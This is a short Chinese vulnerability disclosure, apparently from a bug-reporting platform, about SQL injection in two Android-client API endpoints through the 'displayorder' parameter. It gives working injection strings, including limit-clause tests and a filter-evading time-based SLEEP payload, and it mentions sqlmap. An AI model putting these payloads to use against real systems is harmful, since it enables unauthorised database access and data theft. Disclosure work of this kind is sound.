手机客户端2处接口存在SQL注入,SELECT注入无关键字过滤,理论上可以获取任意数据。
0x01: http://**.**.**.**/android/jobs.php
=========================================================
对应代码:
displayorder参数过滤不正确导致SQL注入。
"displayorder":"rtime> limit 1 #desc"返回一行数据:
"displayorder":"rtime> limit 2 #desc"返回两行数据:
SQLMAP跑一跑:
0x02: http://**.**.**.**/android/news-list.php
=========================================================
displayorder参数过滤不正确导致SQL注入。
"displayorder":"id> limit 1 #desc"返回一行数据:
"displayorder": "id> abc#desc"返回数据库错误:
"displayorder": "id> A<A>ND (SE<A>LECT * F<A>ROM (S<A>ELECT(S<A>LEEP(5)))MqQf)#desc"延时5秒返回数据:
SQLMAP: